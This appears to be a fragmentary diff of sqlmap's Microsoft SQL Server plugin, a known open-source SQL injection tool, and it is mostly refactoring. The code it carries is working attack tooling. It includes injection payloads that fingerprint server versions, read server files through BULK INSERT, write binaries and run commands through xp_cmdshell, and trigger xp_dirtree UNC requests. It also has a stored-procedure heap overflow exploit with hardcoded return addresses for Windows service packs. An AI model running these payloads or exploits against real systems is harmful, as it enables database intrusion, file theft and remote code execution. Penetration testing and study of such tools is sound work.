selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||||
|
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
|
||||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||||
|
|
||||||
if selectTopExpr or selectDistinctExpr or selectExpr:
|
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
|
||||||
if selectTopExpr:
|
if selectTopExpr:
|
||||||
regExpr = selectTopExpr.groups()[0]
|
regExpr = selectTopExpr.groups()[0]
|
||||||
elif selectDistinctExpr:
|
elif selectDistinctExpr:
|
||||||
regExpr = selectDistinctExpr.groups()[0]
|
regExpr = selectDistinctExpr.groups()[0]
|
||||||
|
elif selectFromExpr:
|
||||||
|
regExpr = selectFromExpr.groups()[0]
|
||||||
elif selectExpr:
|
elif selectExpr:
|
||||||
regExpr = selectExpr.groups()[0]
|
regExpr = selectExpr.groups()[0]
|
||||||
elif miscExpr:
|
elif miscExpr:
|
||||||
@@ -84,7 +84,6 @@ def queryOutputLength(expression, payload):
|
|||||||
|
|
||||||
return count, length, regExpr
|
return count, length, regExpr
|
||||||
|
|
||||||
|
|
||||||
def resume(expression, payload):
|
def resume(expression, payload):
|
||||||
"""
|
"""
|
||||||
This function can be called to resume part or entire output of a
|
This function can be called to resume part or entire output of a
|
||||||
@@ -107,7 +106,7 @@ def resume(expression, payload):
|
|||||||
if resumedValue[-1] == "]":
|
if resumedValue[-1] == "]":
|
||||||
resumedValue = resumedValue[:-1]
|
resumedValue = resumedValue[:-1]
|
||||||
|
|
||||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||||
|
|
||||||
if logValue:
|
if logValue:
|
||||||
|
|||||||
@@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import binascii
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToOutFile
|
|
||||||
from lib.core.common import dataToStdout
|
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
|||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||||
from lib.core.shell import autoCompletion
|
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -75,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
unescaper.setUnescape(MSSQLServerMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
@@ -88,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
index = expression[firstIndex:].find("'")
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
if index == -1:
|
if index == -1:
|
||||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
lastIndex = firstIndex + index
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
@@ -107,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
@@ -119,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
index = expression[firstIndex:].find("))")
|
index = expression[firstIndex:].find("))")
|
||||||
|
|
||||||
if index == -1:
|
if index == -1:
|
||||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
lastIndex = firstIndex + index + 1
|
||||||
old = expression[firstIndex:lastIndex]
|
old = expression[firstIndex:lastIndex]
|
||||||
@@ -132,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
@@ -146,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
actVer = formatDBMSfp()
|
actVer = formatDBMSfp()
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += actVer
|
value += actVer
|
||||||
return value
|
return value
|
||||||
|
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
release = kb.bannerFp["dbmsRelease"]
|
release = kb.bannerFp["dbmsRelease"]
|
||||||
version = kb.bannerFp["dbmsVersion"]
|
version = kb.bannerFp["dbmsVersion"]
|
||||||
servicepack = kb.bannerFp["dbmsServicePack"]
|
servicepack = kb.bannerFp["dbmsServicePack"]
|
||||||
|
|
||||||
if release and version and servicepack:
|
if release and version and servicepack:
|
||||||
banVer = "Microsoft SQL Server %s " % release
|
banVer = "Microsoft SQL Server %s " % release
|
||||||
banVer += "Service Pack %s " % servicepack
|
banVer += "Service Pack %s " % servicepack
|
||||||
banVer += "version %s" % version
|
banVer += "version %s" % version
|
||||||
|
|
||||||
@@ -175,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
@@ -193,31 +183,39 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming Microsoft SQL Server"
|
infoMsg = "confirming Microsoft SQL Server"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version in ( 0, 5, 8 ):
|
for version in (0, 5, 8):
|
||||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
randInt = randomInt()
|
||||||
|
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
||||||
|
payload = agent.fullPayload(query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
if version == 8:
|
if version == 8:
|
||||||
kb.dbmsVersion = [ "2008" ]
|
kb.dbmsVersion = ["2008"]
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif version == 5:
|
elif version == 5:
|
||||||
kb.dbmsVersion = [ "2005" ]
|
kb.dbmsVersion = ["2005"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif version == 0:
|
||||||
|
kb.dbmsVersion = ["2000"]
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
else:
|
else:
|
||||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
||||||
|
payload = agent.fullPayload(query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
kb.dbmsVersion = [ "7.0" ]
|
kb.dbmsVersion = ["7.0"]
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -237,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os and kb.osVersion and kb.osSP:
|
if kb.os and kb.osVersion and kb.osSP:
|
||||||
return
|
return
|
||||||
@@ -245,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
if not kb.os:
|
if not kb.os:
|
||||||
kb.os = "Windows"
|
kb.os = "Windows"
|
||||||
|
|
||||||
if detailed == False:
|
if not detailed:
|
||||||
return
|
return
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||||
@@ -254,17 +251,15 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||||
|
|
||||||
versions = {
|
versions = {"2003": ("5.2", (2, 1)),
|
||||||
"2003": ( "5.2", ( 2, 1 ) ),
|
#"2003": ("6.0", (2,1)),
|
||||||
#"2003": ( "6.0", ( 2, 1 ) ),
|
"2008": ("7.0", (1,)),
|
||||||
"2008": ( "7.0", ( 1, ) ),
|
"2000": ("5.0", (4, 3, 2, 1)),
|
||||||
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
|
"XP": ("5.1", (2, 1)),
|
||||||
"XP": ( "5.1", ( 2, 1 ) ),
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
|
||||||
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
|
|
||||||
}
|
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system version
|
# Get back-end DBMS underlying operating system version
|
||||||
for version, data in versions.items():
|
for version, data in versions.items():
|
||||||
@@ -316,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||||
warnMsg += "database users privileges"
|
warnMsg += "database users privileges"
|
||||||
@@ -324,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
||||||
def getTables(self):
|
def getTables(self):
|
||||||
infoMsg = "fetching tables"
|
infoMsg = "fetching tables"
|
||||||
if conf.db:
|
if conf.db:
|
||||||
@@ -395,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
if not kb.data.cachedTables:
|
if not kb.data.cachedTables:
|
||||||
errMsg = "unable to retrieve the tables for any database"
|
errMsg = "unable to retrieve the tables for any database"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "Microsoft SQL Server does not support file reading "
|
errMsg = "Microsoft SQL Server does not support file reading "
|
||||||
errMsg += "with UNION query SQL injection technique"
|
errMsg += "with UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
@@ -414,12 +405,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
txtTbl = self.fileTblName
|
txtTbl = self.fileTblName
|
||||||
hexTbl = "%shex" % self.fileTblName
|
hexTbl = "%shex" % self.fileTblName
|
||||||
|
|
||||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||||
|
|
||||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||||
|
|
||||||
# Reference: http://support.microsoft.com/kb/104829
|
# Reference: http://support.microsoft.com/kb/104829
|
||||||
binToHexQuery = """
|
binToHexQuery = """
|
||||||
@@ -475,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
if not count.isdigit() or not len(count) or count == "0":
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
errMsg = "unable to retrieve the content of the "
|
errMsg = "unable to retrieve the content of the "
|
||||||
errMsg += "file '%s'" % rFile
|
errMsg += "file '%s'" % rFile
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
|
||||||
@@ -487,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||||
errMsg += "UNION query SQL injection technique"
|
errMsg += "UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||||
@@ -516,16 +505,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
wFilePointer.close()
|
wFilePointer.close()
|
||||||
|
|
||||||
if wFileSize < debugSize:
|
if wFileSize < debugSize:
|
||||||
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
|
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
"ren %s %s" % (chunkName, dFileName),
|
||||||
"ren %s %s" % (chunkName, dFileName),
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
"move /Y %s %s" % (dFileName, dFile)
|
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
@@ -541,8 +528,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
counter = 1
|
counter = 1
|
||||||
|
|
||||||
for i in range(0, wFileSize, debugSize):
|
for i in range(0, wFileSize, debugSize):
|
||||||
wFileChunk = wFileContent[i:i+debugSize]
|
wFileChunk = wFileContent[i:i + debugSize]
|
||||||
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||||
|
|
||||||
if i == 0:
|
if i == 0:
|
||||||
infoMsg = "renaming chunk "
|
infoMsg = "renaming chunk "
|
||||||
@@ -554,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
||||||
logger.debug(infoMsg)
|
logger.debug(infoMsg)
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
|
||||||
copyCmd,
|
copyCmd,
|
||||||
"del /F %s" % chunkName
|
"del /F %s" % chunkName)
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
@@ -572,57 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
"move /Y %s %s" % (dFileName, dFile)
|
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
self.execCmd(forgedCmd)
|
self.execCmd(forgedCmd)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||||
|
|
||||||
|
|
||||||
def overflowBypassDEP(self):
|
|
||||||
# TODO: use 'sc' to:
|
|
||||||
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
|
||||||
# * Detect the absolute SQL Server executable file path
|
|
||||||
#
|
|
||||||
# References:
|
|
||||||
# * http://www.ss64.com/nt/sc.html
|
|
||||||
# * http://www.ss64.com/nt/for_cmd.html
|
|
||||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
|
||||||
|
|
||||||
if self.bypassDEP == False:
|
|
||||||
return
|
|
||||||
|
|
||||||
logger.info("restarting Microsoft SQL Server, wait..")
|
|
||||||
time.sleep(15)
|
|
||||||
# TODO: use 'sc' to:
|
|
||||||
# * Warn the user that sqlmap needs to restart the SQL Server
|
|
||||||
# service, ask for confirmation
|
|
||||||
# * Stop the SQL Server service (after handling DEP)
|
|
||||||
# * Start the SQL Server service (after handling DEP)
|
|
||||||
|
|
||||||
# Another way to restart MSSQL consists of writing a bat file with
|
|
||||||
# the following text:
|
|
||||||
#
|
|
||||||
#@ECHO OFF
|
|
||||||
#NET STOP MSSQLSERVER
|
|
||||||
#NET START MSSQLSERVER
|
|
||||||
#
|
|
||||||
# Then run the following statement and wait a few seconds:
|
|
||||||
#
|
|
||||||
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
|
||||||
|
|
||||||
|
|
||||||
def spHeapOverflow(self):
|
def spHeapOverflow(self):
|
||||||
"""
|
"""
|
||||||
References:
|
References:
|
||||||
@@ -631,83 +579,112 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
returns = {
|
returns = {
|
||||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
# 2003 Service Pack 0
|
||||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
"2003-0": (""),
|
||||||
}
|
|
||||||
retAddr = None
|
|
||||||
|
|
||||||
for version, data in returns.items():
|
# 2003 Service Pack 1
|
||||||
sp = data[0]
|
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||||
address = data[1]
|
|
||||||
|
# 2003 Service Pack 2 updated at 12/2008
|
||||||
|
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 05/2009
|
||||||
|
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 09/2009
|
||||||
|
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
||||||
|
}
|
||||||
|
addrs = None
|
||||||
|
|
||||||
|
for versionSp, data in returns.items():
|
||||||
|
version, sp = versionSp.split("-")
|
||||||
|
sp = int(sp)
|
||||||
|
|
||||||
if kb.osVersion == version and kb.osSP == sp:
|
if kb.osVersion == version and kb.osSP == sp:
|
||||||
retAddr = address
|
addrs = data
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if retAddr == None:
|
if addrs is None:
|
||||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||||
errMsg += "overflow because it does not have a valid return "
|
errMsg += "overflow because it does not have a valid return "
|
||||||
errMsg += "code for the underlying operating system (Windows "
|
errMsg += "code for the underlying operating system (Windows "
|
||||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
